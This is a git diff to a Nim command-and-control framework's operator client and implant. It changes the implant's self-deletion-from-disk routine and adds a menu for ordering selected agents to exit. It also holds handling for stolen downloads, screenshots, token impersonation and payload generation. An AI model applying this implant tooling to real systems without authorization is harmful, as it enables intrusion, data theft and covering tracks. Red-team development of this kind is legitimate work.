diff --git a/src/agent/core/exit.nim b/src/agent/core/exit.nim index 849327a..bbd740b 100644 --- a/src/agent/core/exit.nim +++ b/src/agent/core/exit.nim @@ -48,21 +48,21 @@ proc deleteSelfFromDisk*() = hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0) if hLocalImgFile == INVALID_HANDLE_VALUE: - raise newException(CatchableError, "CreateFileW [1]" & GetLastError().getError()) + raise newException(CatchableError, GetLastError().getError()) if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE: - raise newException(CatchableError, "SetFileInfByHandle [1]" & GetLastError().getError()) + raise newException(CatchableError, GetLastError().getError()) CloseHandle(hLocalImgFile) hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0) if hLocalImgFile == INVALID_HANDLE_VALUE: - raise newException(CatchableError, "CreateFileW [2]" & GetLastError().getError()) + raise newException(CatchableError, GetLastError().getError()) fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE: - raise newException(CatchableError, "SetFileInfByHandle [2]" & GetLastError().getError()) + raise newException(CatchableError, GetLastError().getError()) CloseHandle(hLocalImgFile) diff --git a/src/client/main.nim b/src/client/main.nim index f530d55..43f3d27 100644 --- a/src/client/main.nim +++ b/src/client/main.nim @@ -74,139 +74,142 @@ proc main(ip: string = "localhost", port: int = 37573) = connection.ws.sendHeartbeat() # Receive and parse websocket response message - let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey) - case event.eventType: - of CLIENT_KEY_EXCHANGE: - connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey()) - connection.sendPublicKey(clientKeyPair.publicKey) - wipeKey(clientKeyPair.privateKey) + try: + let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey) + case event.eventType: + of CLIENT_KEY_EXCHANGE: + connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey()) + connection.sendPublicKey(clientKeyPair.publicKey) + wipeKey(clientKeyPair.privateKey) - of CLIENT_PROFILE: - profile = parsetoml.parseString(event.data["profile"].getStr()) - - of CLIENT_LISTENER_ADD: - let listener = event.data.to(UIListener) - listenersTable.listeners.add(listener) - - of CLIENT_AGENT_ADD: - let agent = event.data.to(UIAgent) - - # The ImGui Multi Select only works well with seq's, so we maintain a - # separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access - sessionsTable.agents.add(agent) - sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin - - if not agent.impersonationToken.isEmptyOrWhitespace(): - sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken - - # Initialize position of console windows to bottom by drawing them once when they are added - # By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom), - # so if you place your listeners somewhere else, the console windows show up somewhere else too - # The only case that is not covered is when the listeners table is hidden and the bottom panel was split - var agentConsole = Console(agent) - consoles[agent.agentId] = agentConsole - let listenersWindow = igFindWindowByName(WIDGET_LISTENERS) - if listenersWindow != nil and listenersWindow.DockNode != nil: - igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32) - else: - igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) - consoles[agent.agentId].draw(connection) - consoles[agent.agentId].showConsole = false - - of CLIENT_AGENT_CHECKIN: - sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp - - of CLIENT_AGENT_PAYLOAD: - let payload = decode(event.data["payload"].getStr()) - try: - let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe" - - # TODO: Using native file dialogs to have the client select the output file path (does not work in WSL) - # let outFilePath = callDialogFileSave("Save Payload") - - writeFile(outFilePath, payload) - except IOError: - discard - - # Close and reset the payload generation modal window when the payload was received - listenersTable.generatePayloadModal.resetModalValues() - igClosePopupToLevel(0, false) - - of CLIENT_CONSOLE_ITEM: - let agentId = event.data["agentId"].getStr() - consoles[agentId].console.addItem( - cast[LogType](event.data["logType"].getInt()), - event.data["message"].getStr(), - event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") - ) - - of CLIENT_EVENTLOG_ITEM: - eventlog.textarea.addItem( - cast[LogType](event.data["logType"].getInt()), - event.data["message"].getStr(), - event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") - ) - - of CLIENT_BUILDLOG_ITEM: - listenersTable.generatePayloadModal.buildLog.addItem( - cast[LogType](event.data["logType"].getInt()), - event.data["message"].getStr(), - event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") - ) - - of CLIENT_LOOT_ADD: - let lootItem = event.data.to(LootItem) - case lootItem.itemType: - of DOWNLOAD: - lootDownloads.items.add(lootItem) - of SCREENSHOT: - lootScreenshots.items.add(lootItem) - else: discard - - of CLIENT_LOOT_DATA: - let - lootItem = event.data["loot"].to(LootItem) - data = decode(event.data["data"].getStr()) + of CLIENT_PROFILE: + profile = parsetoml.parseString(event.data["profile"].getStr()) - case lootItem.itemType: - of DOWNLOAD: - lootDownloads.contents[lootItem.lootId] = data - of SCREENSHOT: - lootScreenshots.addTexture(lootItem.lootId, data) - else: discard + of CLIENT_LISTENER_ADD: + let listener = event.data.to(UIListener) + listenersTable.listeners.add(listener) - of CLIENT_IMPERSONATE_TOKEN: - let - agentId = event.data["agentId"].getStr() - impersonationToken = event.data["username"].getStr() - sessionsTable.agentImpersonation[agentId] = impersonationToken + of CLIENT_AGENT_ADD: + let agent = event.data.to(UIAgent) - of CLIENT_REVERT_TOKEN: - sessionsTable.agentImpersonation.del(event.data["agentId"].getStr()) - - else: discard - - # Draw/update UI components/views - if showSessionsTable: sessionsTable.draw(addr showSessionsTable) - if showListeners: listenersTable.draw(addr showListeners, connection) - if showEventlog: eventlog.draw(addr showEventlog) - if showDownloads: lootDownloads.draw(addr showDownloads, connection) - if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection) + # The ImGui Multi Select only works well with seq's, so we maintain a + # separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access + sessionsTable.agents.add(agent) + sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin - # Show console windows - var newConsoleTable: Table[string, ConsoleComponent] - for agentId, console in consoles.mpairs(): - if console.showConsole: - # Ensure that new console windows are docked to the bottom panel by default - igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) - console.draw(connection) - newConsoleTable[agentId] = console + if not agent.impersonationToken.isEmptyOrWhitespace(): + sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken + + # Initialize position of console windows to bottom by drawing them once when they are added + # By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom), + # so if you place your listeners somewhere else, the console windows show up somewhere else too + # The only case that is not covered is when the listeners table is hidden and the bottom panel was split + var agentConsole = Console(agent) + consoles[agent.agentId] = agentConsole + let listenersWindow = igFindWindowByName(WIDGET_LISTENERS) + if listenersWindow != nil and listenersWindow.DockNode != nil: + igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32) + else: + igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) + consoles[agent.agentId].draw(connection) + consoles[agent.agentId].showConsole = false + + of CLIENT_AGENT_CHECKIN: + sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp + + of CLIENT_AGENT_PAYLOAD: + let payload = decode(event.data["payload"].getStr()) + try: + let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe" + + # TODO: Using native file dialogs to have the client select the output file path (does not work in WSL) + # let outFilePath = callDialogFileSave("Save Payload") + + writeFile(outFilePath, payload) + except IOError: + discard + + # Close and reset the payload generation modal window when the payload was received + listenersTable.generatePayloadModal.resetModalValues() + igClosePopupToLevel(0, false) + + of CLIENT_CONSOLE_ITEM: + let agentId = event.data["agentId"].getStr() + consoles[agentId].console.addItem( + cast[LogType](event.data["logType"].getInt()), + event.data["message"].getStr(), + event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + ) - # Update the consoles table with only those sessions that have not been closed yet - # This is done to ensure that closed console windows can be opened again - consoles = newConsoleTable + of CLIENT_EVENTLOG_ITEM: + eventlog.textarea.addItem( + cast[LogType](event.data["logType"].getInt()), + event.data["message"].getStr(), + event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + ) - igShowDemoWindow(nil) + of CLIENT_BUILDLOG_ITEM: + listenersTable.generatePayloadModal.buildLog.addItem( + cast[LogType](event.data["logType"].getInt()), + event.data["message"].getStr(), + event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + ) + + of CLIENT_LOOT_ADD: + let lootItem = event.data.to(LootItem) + case lootItem.itemType: + of DOWNLOAD: + lootDownloads.items.add(lootItem) + of SCREENSHOT: + lootScreenshots.items.add(lootItem) + else: discard + + of CLIENT_LOOT_DATA: + let + lootItem = event.data["loot"].to(LootItem) + data = decode(event.data["data"].getStr()) + + case lootItem.itemType: + of DOWNLOAD: + lootDownloads.contents[lootItem.lootId] = data + of SCREENSHOT: + lootScreenshots.addTexture(lootItem.lootId, data) + else: discard + + of CLIENT_IMPERSONATE_TOKEN: + let + agentId = event.data["agentId"].getStr() + impersonationToken = event.data["username"].getStr() + sessionsTable.agentImpersonation[agentId] = impersonationToken + + of CLIENT_REVERT_TOKEN: + sessionsTable.agentImpersonation.del(event.data["agentId"].getStr()) + + else: discard + + # Draw/update UI components/views + if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection) + if showListeners: listenersTable.draw(addr showListeners, connection) + if showEventlog: eventlog.draw(addr showEventlog) + if showDownloads: lootDownloads.draw(addr showDownloads, connection) + if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection) + + # Show console windows + var newConsoleTable: Table[string, ConsoleComponent] + for agentId, console in consoles.mpairs(): + if console.showConsole: + # Ensure that new console windows are docked to the bottom panel by default + igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) + console.draw(connection) + newConsoleTable[agentId] = console + + # Update the consoles table with only those sessions that have not been closed yet + # This is done to ensure that closed console windows can be opened again + consoles = newConsoleTable + + except CatchableError as err: + echo "[-] ", err.msg + discard # render app.render() diff --git a/src/client/views/console.nim b/src/client/views/console.nim index 7ae4b9e..e8a3a79 100644 --- a/src/client/views/console.nim +++ b/src/client/views/console.nim @@ -186,6 +186,9 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) = component.console.addItem(LOG_OUTPUT, "") proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) = + # Add command to console + component.console.addItem(LOG_COMMAND, input) + # Convert user input into sequence of string arguments let parsedArgs = parseInput(input) @@ -291,9 +294,6 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) = let command = ($(addr component.inputBuffer[0])).strip() if not command.isEmptyOrWhitespace(): - - component.console.addItem(LOG_COMMAND, command) - # Send command to team server component.handleAgentCommand(connection, command) diff --git a/src/client/views/sessions.nim b/src/client/views/sessions.nim index e2d5739..44a23ff 100644 --- a/src/client/views/sessions.nim +++ b/src/client/views/sessions.nim @@ -2,7 +2,9 @@ import times, tables, strformat, strutils, algorithm import imguin/[cimgui, glfw_opengl, simple] import ./console +import ../core/[task, websocket] import ../utils/[appImGui, colors] +import ../../modules/manager import ../../common/[types, utils] type @@ -43,7 +45,7 @@ proc interact(component: SessionsTableComponent) = component.selection.ImGuiSelectionBasicStorage_Clear() -proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = +proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) = igBegin(component.title, showComponent, 0) let textSpacing = igGetStyle().ItemSpacing.x @@ -156,6 +158,35 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = component.interact() igCloseCurrentPopup() + if igBeginMenu("Exit", true): + if igMenuItem("Process", nil, false, true): + for i, agent in component.agents: + if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)): + if component.consoles[].hasKey(agent.agentId): + component.consoles[][agent.agentId].handleAgentCommand(connection, "exit process") + else: + let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["process"]) + connection.sendAgentTask(agent.agentId, "exit process", task) + + ImGuiSelectionBasicStorage_Clear(component.selection) + igCloseCurrentPopup() + + if igMenuItem("Thread", nil, false, true): + for i, agent in component.agents: + if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)): + if component.consoles[].hasKey(agent.agentId): + component.consoles[][agent.agentId].handleAgentCommand(connection, "exit thread") + else: + let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["thread"]) + connection.sendAgentTask(agent.agentId, "exit thread", task) + + ImGuiSelectionBasicStorage_Clear(component.selection) + igCloseCurrentPopup() + + igEndMenu() + + igSeparator() + if igMenuItem("Remove", nil, false, true): # Update agents table with only non-selected ones var newAgents: seq[UIAgent] = @[] diff --git a/src/common/types.nim b/src/common/types.nim index aa0baa8..0939235 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -25,7 +25,6 @@ type LONG = 3'u8 BOOL = 4'u8 BINARY = 5'u8 - # FLAG = 6'u8 HeaderFlags* = enum # Flags should be powers of 2 so they can be connected with or operators